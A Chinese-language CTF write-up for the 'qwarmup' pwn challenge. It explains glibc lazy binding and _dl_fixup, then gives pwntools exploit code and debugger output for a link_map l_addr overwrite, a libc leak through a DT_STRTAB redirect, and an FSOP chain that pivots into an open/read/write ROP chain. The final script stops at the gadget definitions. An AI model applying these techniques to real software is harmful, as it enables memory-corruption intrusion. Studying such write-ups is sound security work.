0%

dl_runtime_resolve attack+svcudp_reply控制栈

qwarmup 复现

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
1
2
3
4
5
6
7
8
9
➜  qwarmup file qwarmup          
qwarmup: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0ee74cf51da29e8ecc9897c2a2a96b4ce87934be, for GNU/Linux 3.2.0, stripped
➜ qwarmup checksec qwarmup
[*] '/home/yhellow/桌面/qwarmup/qwarmup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,开了 NX,开了 PIE,开了 Canary,但是 GOT 可改(启用了延迟绑定)

有沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  qwarmup seccomp-tools dump ./qwarmup1 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0011
0004: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0011
0005: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0011
0006: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0011
0007: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0011
0008: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0011
0009: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
  • 只能打 ORW

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int key; // eax
char byte; // [rsp+7h] [rbp-19h] BYREF
__int64 offset; // [rsp+8h] [rbp-18h] BYREF
_BYTE *chunk; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
init_s();
read(0, &size, 4uLL);
chunk = malloc(size);
if ( !chunk )
_Exit(0);
do
{
offset = 0LL;
byte = 0;
read(0, &offset, 8uLL);
read(0, &byte, 1uLL);
chunk[offset] = byte; // 溢出?
write(1, "Success!", 8uLL);
HIWORD(key) = HIWORD(size); // 大于0x10000的部分赋值key
LOWORD(key) = 0; // 小于0x10000的部分置空
}
while ( !key );
_Exit(0);
}
  • 题目中会检查 size:
    • 如果 size 小于0x10000,可以循环写
    • 如果 size 大于0x10000,只能写一次

了解延迟绑定的细节

延迟绑定机制:

  • 启用延迟绑定后,程序不会把库函数的真实地址绑定在 GOT 表中
  • 当程序第一次调用该函数时,会先找到该函数对应的 PLT 表,然后跳转对应的 GOT 表
  • GOT 表中没有该函数的真实地址,而是会跳转回 PLT 表
  • 在 PLT 表中:先 push 一个偏移(用于确定自身函数),然后在 PLT 表中进入共用的 PLT[0] 表
  • 在 PLT[0] 表中:先 push link_map(为 _dl_fixup 提供信息),然后执行 _dl_runtime_resolve_fxsave 函数
  • 接着使用 _dl_fixup 函数来查找目标在动态链接库中的地址
  • 最后把对应 GOT 表地址修改为库函数的真实地址

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) 接受两个参数,一个“链接映射”和一个“重定位索引”

  • “链接映射”:将有关 ELF 的所有相关信息包装成一个数据结构 link_map
  • “重定位索引”:用于确定该函数在 PLT/GOT 表中的位置

结构体 link_map 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */

ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */

/* All following members are internal to the dynamic linker.
They may change without notice. */

/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;

/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;

struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */

ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /* Pointer to program header table in core. */
ElfW(Addr) l_entry; /* Entry point location. */
ElfW(Half) l_phnum; /* Number of program header entries. */
ElfW(Half) l_ldnum; /* Number of dynamic segment entries. */

/* Array of DT_NEEDED dependencies and their dependencies, in
dependency order for symbol lookup (with and without
duplicates). There is no entry before the dependencies have
been loaded. */
struct r_scope_elem l_searchlist;

/* We need a special searchlist to process objects marked with
DT_SYMBOLIC. */
struct r_scope_elem l_symbolic_searchlist;

/* Dependent object that first caused this object to be loaded. */
struct link_map *l_loader;

/* Array with version names. */
struct r_found_version *l_versions;
unsigned int l_nversions;

/* Symbol hash table. */
Elf_Symndx l_nbuckets;
Elf32_Word l_gnu_bitmask_idxbits;
Elf32_Word l_gnu_shift;
const ElfW(Addr) *l_gnu_bitmask;
union
{
const Elf32_Word *l_gnu_buckets;
const Elf_Symndx *l_chain;
};
union
{
const Elf32_Word *l_gnu_chain_zero;
const Elf_Symndx *l_buckets;
};

unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose. */
enum /* Where this object came from. */
{
lt_executable, /* The main executable program. */
lt_library, /* Library needed by main executable. */
lt_loaded /* Extra run-time loaded shared object. */
} l_type:2;
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
unsigned int l_main_map:1; /* Nonzero for the map of the main program. */
unsigned int l_visited:1; /* Used internally for map dependency
graph traversal. */
unsigned int l_map_used:1; /* These two bits are used during traversal */
unsigned int l_map_done:1; /* of maps in _dl_close_worker. */
unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
to by `l_phdr' is allocated. */
unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
the l_libname list. */
unsigned int l_faked:1; /* Nonzero if this is a faked descriptor
without associated file. */
unsigned int l_need_tls_init:1; /* Nonzero if GL(dl_init_static_tls)
should be called on this link map
when relocation finishes. */
unsigned int l_auditing:1; /* Nonzero if the DSO is used in auditing. */
unsigned int l_audit_any_plt:1; /* Nonzero if at least one audit module
is interested in the PLT interception.*/
unsigned int l_removed:1; /* Nozero if the object cannot be used anymore
since it is removed. */
unsigned int l_contiguous:1; /* Nonzero if inter-segment holes are
mprotected or if no holes are present at
all. */
unsigned int l_symbolic_in_local_scope:1; /* Nonzero if l_local_scope
during LD_TRACE_PRELINKING=1
contains any DT_SYMBOLIC
libraries. */
unsigned int l_free_initfini:1; /* Nonzero if l_initfini can be
freed, ie. not allocated with
the dummy malloc in ld.so. */
unsigned int l_ld_readonly:1; /* Nonzero if dynamic section is readonly. */
unsigned int l_find_object_processed:1; /* Zero if _dl_find_object_update
needs to process this
lt_library map. */

/* NODELETE status of the map. Only valid for maps of type
lt_loaded. Lazy binding sets l_nodelete_active directly,
potentially from signal handlers. Initial loading of an
DF_1_NODELETE object set l_nodelete_pending. Relocation may
set l_nodelete_pending as well. l_nodelete_pending maps are
promoted to l_nodelete_active status in the final stages of
dlopen, prior to calling ELF constructors. dlclose only
refuses to unload l_nodelete_active maps, the pending status is
ignored. */
bool l_nodelete_active;
bool l_nodelete_pending;

#include <link_map.h>

/* Collected information about own RPATH directories. */
struct r_search_path_struct l_rpath_dirs;

/* Collected results of relocation while profiling. */
struct reloc_result
{
DL_FIXUP_VALUE_TYPE addr;
struct link_map *bound;
unsigned int boundndx;
uint32_t enterexit;
unsigned int flags;
/* CONCURRENCY NOTE: This is used to guard the concurrent initialization
of the relocation result across multiple threads. See the more
detailed notes in elf/dl-runtime.c. */
unsigned int init;
} *l_reloc_result;

/* Pointer to the version information if available. */
ElfW(Versym) *l_versyms;

/* String specifying the path where this object was found. */
const char *l_origin;

/* Start and finish of memory map for this object. l_map_start
need not be the same as l_addr. */
ElfW(Addr) l_map_start, l_map_end;
/* End of the executable part of the mapping. */
ElfW(Addr) l_text_end;

/* Default array for 'l_scope'. */
struct r_scope_elem *l_scope_mem[4];
/* Size of array allocated for 'l_scope'. */
size_t l_scope_max;
/* This is an array defining the lookup scope for this link map.
There are initially at most three different scope lists. */
struct r_scope_elem **l_scope;

/* A similar array, this time only with the local scope. This is
used occasionally. */
struct r_scope_elem *l_local_scope[2];

/* This information is kept to check for sure whether a shared
object is the same as one already loaded. */
struct r_file_id l_file_id;

/* Collected information about own RUNPATH directories. */
struct r_search_path_struct l_runpath_dirs;

/* List of object in order of the init and fini calls. */
struct link_map **l_initfini;

/* List of the dependencies introduced through symbol binding. */
struct link_map_reldeps
{
unsigned int act;
struct link_map *list[];
} *l_reldeps;
unsigned int l_reldepsmax;

/* Nonzero if the DSO is used. */
unsigned int l_used;

/* Various flag words. */
ElfW(Word) l_feature_1;
ElfW(Word) l_flags_1;
ElfW(Word) l_flags;

/* Temporarily used in `dl_close'. */
int l_idx;

struct link_map_machine l_mach;

struct
{
const ElfW(Sym) *sym;
int type_class;
struct link_map *value;
const ElfW(Sym) *ret;
} l_lookup_cache;

/* Thread-local storage related info. */

/* Start of the initialization image. */
void *l_tls_initimage;
/* Size of the initialization image. */
size_t l_tls_initimage_size;
/* Size of the TLS block. */
size_t l_tls_blocksize;
/* Alignment requirement of the TLS block. */
size_t l_tls_align;
/* Offset of first byte module alignment. */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* For objects present at startup time: offset in the static TLS block. */
ptrdiff_t l_tls_offset;
/* Index of the module in the dtv array. */
size_t l_tls_modid;

/* Number of thread_local objects constructed by this DSO. This is
atomically accessed and modified and is not always protected by the load
lock. See also: CONCURRENCY NOTES in cxa_thread_atexit_impl.c. */
size_t l_tls_dtor_count;

/* Information used to change permission after the relocations are
done. */
ElfW(Addr) l_relro_addr;
size_t l_relro_size;

unsigned long long int l_serial;
};

_dl_fixup 将使用“链接映射”来确定“重定位索引”所指的符号,并提供大量其他需要的信息来进行符号解析,其中最重要的就是“解析地址”计算

  • _dl_fixup 利用存储在 link_map 中的信息来确定符号 @got(称为“解析地址”)的位置
  • 如果我们欺骗 _dl_fixup 计算错误的解析地址并且 write@got 仍然是 write@plt+6,利用这一点将是有价值的,我们永远不会在字节写入后丢失 _dl_fixup 作为攻击面

实现重定位的代码如下:

1
2
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset(pltgot, reloc_arg));
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

当运行时加载器加载 ELF 时,它会通过 .dynamic 部分中的条目定位不同的数据结构,例如存储析构函数或 GOT 的位置,这是 .dynamic 部分的样子:

1661098830166

.dynamic 段中往往保存着多个元素,元素的数据结构为:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
  • d_tag:标签所做的只是描述值,告诉加载器 d_un 数据的意义,常见的类型如下表:
d_tag类型 d_un的定义
DT_SYMTAB - 6 d_ptr 记录动态链接符号表(.dynsym)的地址偏移
DT_STRTAB - 5 d_ptr 记录动态链接字符串表(.dynstr)的地址偏移
DT_STRSZ - 10 d_val 记录动态链接字符串表(.dynstr)的大小
DT_HASH - 4 d_ptr 表示动态链接hash表(.hash)的地址
DT_SONAME - 14 本共享对象的SO-NAME
DT_RPATH - 15 动态链接共享对象的搜索路径
DT_INIT - 12 初始化代码地址
DT_FINIT - 13 结束代码地址
DT_NEED - 1 当前文件依赖的共享目标文件的文件名
DT_REL/DT_RELA - 17/7 动态链接重定位表地址
DT_RELAENT - 9 动态链接重定位表项的数目

运行时,加载器将读取每个 Elf64_Dyn 条目,并在 ELF 的 link_map 中存储指向每个条目的指针(具体来说,指向每个 Elf64_Dyn 的指针将存储在 link_map->l_info 数组中,由标签索引)

  • 因此,加载器可以使用 l->l_info[DT_XXX] 访问对应的 Elf64_Dyn
  • 例如:通过 l->l_info[DT_STRTAB].d_un.d_ptr 轻松读取 DT_STRTAB 的地址

接下来就需要 [重定位表] 来索引目标的位置,每个条目都有一个 r_offset 属性,它指定符号的解析地址应该放在哪里:

1
2
3
4
5
6
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;

看了下面这张图就明白了:

1661100223655

  • 由于 r_offset 属性是一个偏移量而不是一个绝对指针,我们需要添加 l->l_addr 来获得解析地址,也就是如下代码的实现:
1
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

入侵思路

当申请的堆块足够大时,可以申请到接近 libc 前面内存,有一次 WAA libc 的机会(只有1字节)

根据 _dl_fixup_ 的寻址规则,我们在 _dl_fixup_ 查找完函数地址回填到 GOT 表后,可以通过修改 link_map->l_addr,使回填的函数填到 write@got 某个偏移的地方(bss->size

1
*RDI  0x7fcefdddf2e0 —▸ 0x55a47f540000 ◂— 0x10102464c457f
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7fcefdddf2e0
00:0000│ rdi 0x7fcefdddf2e0 —▸ 0x55a47f540000 ◂— 0x10102464c457f
01:00080x7fcefdddf2e8 —▸ 0x7fcefdddf888 ◂— 0x0
02:00100x7fcefdddf2f0 —▸ 0x55a47f543df8 ◂— 0x1
03:00180x7fcefdddf2f8 —▸ 0x7fcefdddf890 —▸ 0x7ffdfdf5b000 ◂— jg 0x7ffdfdf5b047
04:00200x7fcefdddf300 ◂— 0x0
05:00280x7fcefdddf308 —▸ 0x7fcefdddf2e0 —▸ 0x55a47f540000 ◂— 0x10102464c457f
06:00300x7fcefdddf310 ◂— 0x0
07:00380x7fcefdddf318 —▸ 0x7fcefdddf870 —▸ 0x7fcefdddf888 ◂— 0x0
1
2
pwndbg> distance 0x7fcefda86000 0x7fcefdddf2e0
0x7fcefda86000->0x7fcefdddf2e0 is 0x3592e0 bytes (0x6b25c words)

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
def write(offset, bytes, tag=True):
for i, byte in enumerate(bytes):
p.send(p64(offset + i))
p.send(p8(byte))
if tag:
p.recvuntil(b"Success!")

link_map_offset = 0x3592e0 - 0x10 # 通过mmap申请的chunk与link_map之间的偏移
p.send(p32(0xf0000))
size_addr = 0x408c # 位于bss段的size

write(link_map_offset, p8(size_addr-4 - elf.got["write"]))
  • 执行覆盖的汇编代码:
1
2
3
4
*RAX  0x70 /* 计算出来的,用于覆盖link_map->l_addr末尾的值 */
RDX 0x7f9e9d9ee2e0 —▸ 0x556d291fe000 ◂— 0x10102464c457f

0x556d291ff4bb mov byte ptr [rdx], al
  • 修改前:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7f9e9d695000+0x3592e0
00:00000x7f9e9d9ee2e0 —▸ 0x556d291fe000 ◂— 0x10102464c457f /* link_map->l_addr */
01:00080x7f9e9d9ee2e8 —▸ 0x7f9e9d9ee888 ◂— 0x0
02:00100x7f9e9d9ee2f0 —▸ 0x556d29201df8 ◂— 0x1
03:00180x7f9e9d9ee2f8 —▸ 0x7f9e9d9ee890 —▸ 0x7ffec7501000 ◂— jg 0x7ffec7501047
04:00200x7f9e9d9ee300 ◂— 0x0
05:00280x7f9e9d9ee308 —▸ 0x7f9e9d9ee2e0 —▸ 0x556d291fe000 ◂— 0x10102464c457f
06:00300x7f9e9d9ee310 ◂— 0x0
07:00380x7f9e9d9ee318 —▸ 0x7f9e9d9ee870 —▸ 0x7f9e9d9ee888 ◂— 0x0
  • 修改后:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7f9e9d695000+0x3592e0
00:0000│ rdx 0x7f9e9d9ee2e0 —▸ 0x556d291fe070 ◂— 0x8 /* link_map->l_addr */
01:00080x7f9e9d9ee2e8 —▸ 0x7f9e9d9ee888 ◂— 0x0
02:00100x7f9e9d9ee2f0 —▸ 0x556d29201df8 ◂— 0x1
03:00180x7f9e9d9ee2f8 —▸ 0x7f9e9d9ee890 —▸ 0x7ffec7501000 ◂— jg 0x7ffec7501047
04:00200x7f9e9d9ee300 ◂— 0x0
05:00280x7f9e9d9ee308 —▸ 0x7f9e9d9ee2e0 —▸ 0x556d291fe070 ◂— 0x8
06:00300x7f9e9d9ee310 ◂— 0x0
07:00380x7f9e9d9ee318 —▸ 0x7f9e9d9ee870 —▸ 0x7f9e9d9ee888 ◂— 0x0
  • 通过 l->l_addr + reloc->r_offset 公式来计算 write@got
1
Elf64_Rela <4018h, 300000007h, 0>       ; R_X86_64_JUMP_SLOT write
1
2
In [1]: hex(0x556d291fe070+0x4018)
Out[1]: '0x556d29202088'
  • 函数 _dl_fixup_ 执行完毕以后,就会根据错误的 link_map->l_addr 来把错误的地址给改为 write 的真实地址
1
2
3
pwndbg> x/20xg 0x556d29202088
0x556d29202088: 0x000f000000000000 0x6261747274736873
0x556d29202098: 0x707265746e692e00 0x672e65746f6e2e00
1
2
3
4
5
pwndbg> x/20xg 0x556d29202088
0x556d29202088: 0x00007f9e9d89da20 0x6261747274736873
0x556d29202098: 0x707265746e692e00 0x672e65746f6e2e00
pwndbg> telescope 0x556d29202088
00:00000x556d29202088 —▸ 0x7f9e9d89da20 (write) ◂— endbr64
  • 我们可以发现 bss->size < 0x10000,程序循环

程序循环了,我们可以在 libc 中写入任意数据,不过我们想要泄露 libc_base 需要用到 _dl_fixup_ 的机制:

  • 由于 write 的函数地址没有成功回填到 GOT 表,后面每次调用还会走 symbol 查找流程:
1
2
3
4
5
6
7
8
9
10
11
12
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // DT_STRTAB id=5
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
value = DL_FIXUP_MAKE_VALUE (result,sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
  • _dl_lookup_symbol_x 函数的第一个参数就是待查找函数的函数名,而 sym->st_name 对于同一个函数而言是一个固定值(“write” = 34)
  • strtab 则是来源于于 libc 上的全局结构体 link_map,那么可以劫持 link_map->l_info[DT_STRTAB] ,使其指向可控内存段(比如说:link_map->l_info[DT_DEBUG]),达到任意函数调用

DT_STRTAB 在 elf 中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到 DT_DEBUG 这个表是指向 libc 地址,可以通过改写最低位:

  • link_map->l_info[DT_STRTAB] 低位覆盖为 link_map->l_info[DT_DEBUG] 这样程序就会误以为 DT_DEBUGDT_STRTAB(这下放入 _dl_lookup_symbol_x 的第二个参数就会变成 DT_DEBUG
  • 于是我们提前在 DT_DEBUG+34(原来是 DT_STRTAB+34)的位置写上 [function_name],就可以达到任意函数调用

我们可以利用这个机制来 leak libc_base,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_))
_IO_2_1_stdout_offset = _IO_2_1_stdout_+0xf4000-0x10
write(_IO_2_1_stdout_offset,p32(0xfbad1800))
write(_IO_2_1_stdout_offset+0x28,b'\xff')

r_debug_offset = 0x359118-0x10
write(r_debug_offset+34,b"_IO_flush_all")

write(link_map_offset+0x40+5*0x8, b'\xb8', False)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ba70
success("libc_base >> "+hex(libc.address))
  • 思路还是和上面的一样,只是执行的函数为 _IO_flush_all
  • 于是我们在 _IO_2_1_stdout_ 中修改 FILE 结构体的条目,经过如下调用链后泄露 libc_base:
1
_dl_fixup -> _dl_lookup_symbol_x -> _IO_flush_all

最后用同样的方法执行 FSOP,使用 _IO_wdefault_xsgetn 的调用链:

1
_IO_flush_all -> _IO_flush_all_lockp -> _IO_wdefault_xsgetn -> _IO_switch_to_wget_mode

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
write(link_map_offset+0x40+5*0x8, b'\x78') # fix

# FSOP(_IO_flush_all_lockp --> IO_jump_t.__overflow)
heap_addr = libc.address - (0xf4000 - 0x10)
success("heap_addr >> "+hex(heap_addr))

# Overwrite _IO_2_1_stdout_
write(_IO_2_1_stdout_offset,p32(0x800)) # flags
write(_IO_2_1_stdout_offset+0xc0,p8(0xff)) # _mode > 1
write(_IO_2_1_stdout_offset+0x48,p64(heap_addr)) # _IO_save_base(rdi+0x48)
_IO_wstrn_jumps = libc.address + 0x215dc0 # vtable(_IO_wstrn_jumps)
write(_IO_2_1_stdout_offset+0xd8,p64(_IO_wstrn_jumps+0x28)) # _IO_wstrn_overflow->_IO_wdefault_xsgetn

# Overwrite _wide_data
# _IO_write_ptr
_IO_wide_data_1_offset = 0x30d9a0-0x10
write(_IO_wide_data_1_offset+0x20,p8(0x1))
write(_IO_wide_data_1_offset+0xe0,p64(heap_addr+0x110-0x18)) # vtable(fake)

rop = flat(
[b'./flag\x00\x00', pop_r12_r13_r14_ret],
[0xdeadbeef, heap_addr - 8],
[leave_ret, pop_rdx_r12_ret],
[0xdeadbeef,0xdeadbeef],
[pop_rdi_ret, heap_addr], # './flag'
[pop_rsi_ret, 0],
[pop_rdx_r12_ret, 0],
[0xdeadbeef, pop_rax_ret],
[2, syscall_ret], # open('/flag',0,0)
[pop_rdi_ret, 3],
[pop_rsi_ret, heap_addr], # './flag'
[pop_rdx_r12_ret, 0x40],
[0xdeadbeef, read_addr], # read(3,&buf,0x40)
[pop_rdi_ret, 1],
[pop_rsi_ret, heap_addr], # './flag'
[pop_rdx_r12_ret, 0x40],
[0xdeadbeef, write_addr], # write(1,&buf,0x40)
svcudp_reply26
)

write(0,rop)
write(link_map_offset+0x40+5*0x8, b'\xb8', False) # trigger _IO_flush_all
  • 先还原 DT_STRTAB
  • 修改 _IO_2_1_stdout_ FILE 结构体,利用 vtable 偏移的思想实现 vtable 任意函数调用(_IO_flush_all_lockp 原本会调用 _IO_wstrn_overflow ,修改 vtable 偏移后变为调用 _IO_wdefault_xsgetn
  • 然后在 _IO_wide_data_1 中伪造数据:
    • _IO_wide_data_1+0x20 -> [RDX]
    • _IO_wide_data_1+0xe0 -> [RAX]
  • 我们可以控制 [RAX],并且在 [RAX+0x18] 中提前写入 ROP 的地址
1
2
3
4
 RAX  0x7f8099bc0108 ◂— 0x40 /* '@' */
RDI 0x7f8099ece780 (_IO_2_1_stdout_) ◂— 0x800
RDX 0x1
*RIP 0x7f8099d37d55 (_IO_switch_to_wget_mode+37) ◂— call qword ptr [rax + 0x18]
1
2
pwndbg> telescope 0x7f8099bc0108+0x18
00:00000x7f8099bc0120 —▸ 0x7f8099e1e1fa (svcudp_reply+26) ◂— mov rbp, qword ptr [rdi + 0x48] /* ROP */
  • gadget svcudp_reply 可以控制会 [RBP] 为 [RDI+0x48](我们提前在 _IO_2_1_stdout_+0x48 中伪造好 ROP_addr),同时会 call [RAX+0x28],在这里放入 leave ret 就利用控制栈了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from multiprocessing import context
from signal import pause
from pwn import *

elf = ELF("./qwarmup1")
ld = ELF("./ld-linux-x86-64.so.2")
libc = ELF("./libc.so.6")

context(arch='amd64')

cmd = "set debug-file-directory /home/yhellow/tools/debuglibc/2.35-0ubuntu3_amd64/usr/lib/debug/\n"
#cmd +="b *$rebase(0x14A7)\n"
#cmd +="b *$rebase(0x14D1)\n"
#cmd +="b *$rebase(0x14BB)\n"

p = gdb.debug("./qwarmup1",cmd)
#p = process("./qwarmup1")
#gdb.attach(p,"b *$rebase(0x1491)\n")

def write(offset, bytes, tag=True):
for i, byte in enumerate(bytes):
p.send(p64(offset + i))
p.send(p8(byte))
if tag:
p.recvuntil(b"Success!")

p.send(p32(0xf0000))
size_addr = 0x408c
link_map_offset = 0x3592e0-0x10
write(link_map_offset, p8(size_addr-4 - elf.got["write"])) # overwrite &size-4 = write@libc

# leak libc address
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdout_offset = _IO_2_1_stdout_+0xf4000-0x10
write(_IO_2_1_stdout_offset,p32(0xfbad1800)) # _flags
write(_IO_2_1_stdout_offset+0x28,b'\xff')
success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_))
success("_IO_2_1_stdout_offset >> "+hex(_IO_2_1_stdout_offset))

r_debug_offset = 0x359118-0x10
write(r_debug_offset+34,b"_IO_flush_all") # DT_STRTAB+34 = write => DT_DEBUG+34 = call_func
write(link_map_offset+0x40+5*0x8, b'\xb8', False) # trigger _IO_flush_all
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ba70
success("libc_base >> "+hex(libc.address))

write(link_map_offset+0x40+5*0x8, b'\x78') # fix

# FSOP(_IO_flush_all_lockp --> IO_jump_t.__overflow)
heap_addr = libc.address - (0xf4000 - 0x10)
success("heap_addr >> "+hex(heap_addr))

# Overwrite _IO_2_1_stdout_
write(_IO_2_1_stdout_offset,p32(0x800)) # flags
write(_IO_2_1_stdout_offset+0xc0,p8(0xff)) # _mode > 1
write(_IO_2_1_stdout_offset+0x48,p64(heap_addr)) # _IO_save_base(rdi)
_IO_wstrn_jumps = libc.address + 0x215dc0 # vtable(_IO_wstrn_jumps)
write(_IO_2_1_stdout_offset+0xd8,p64(_IO_wstrn_jumps+0x28)) # _IO_wstrn_overflow->_IO_wdefault_xsgetn

# Overwrite _wide_data
# _IO_write_ptr
_IO_wide_data_1_offset = 0x30d9a0-0x10
write(_IO_wide_data_1_offset+0x20,p8(0x2))
write(_IO_wide_data_1_offset+0xe0,p64(heap_addr+0x110-0x18)) # vtable(fake)

# ROP
svcudp_reply26 = libc.address + 0x16a1fa
pop_r12_r13_r14_ret = libc.address + 0x000000000002be4c
pop_rsi_ret = libc.address + 0x000000000002be51
pop_rdi_ret = libc.address + 0x000000000002a3e5
pop_rdx_r12_ret = libc.address + 0x000000000011f497
pop_rax_ret = libc.address + 0x0000000000045eb0
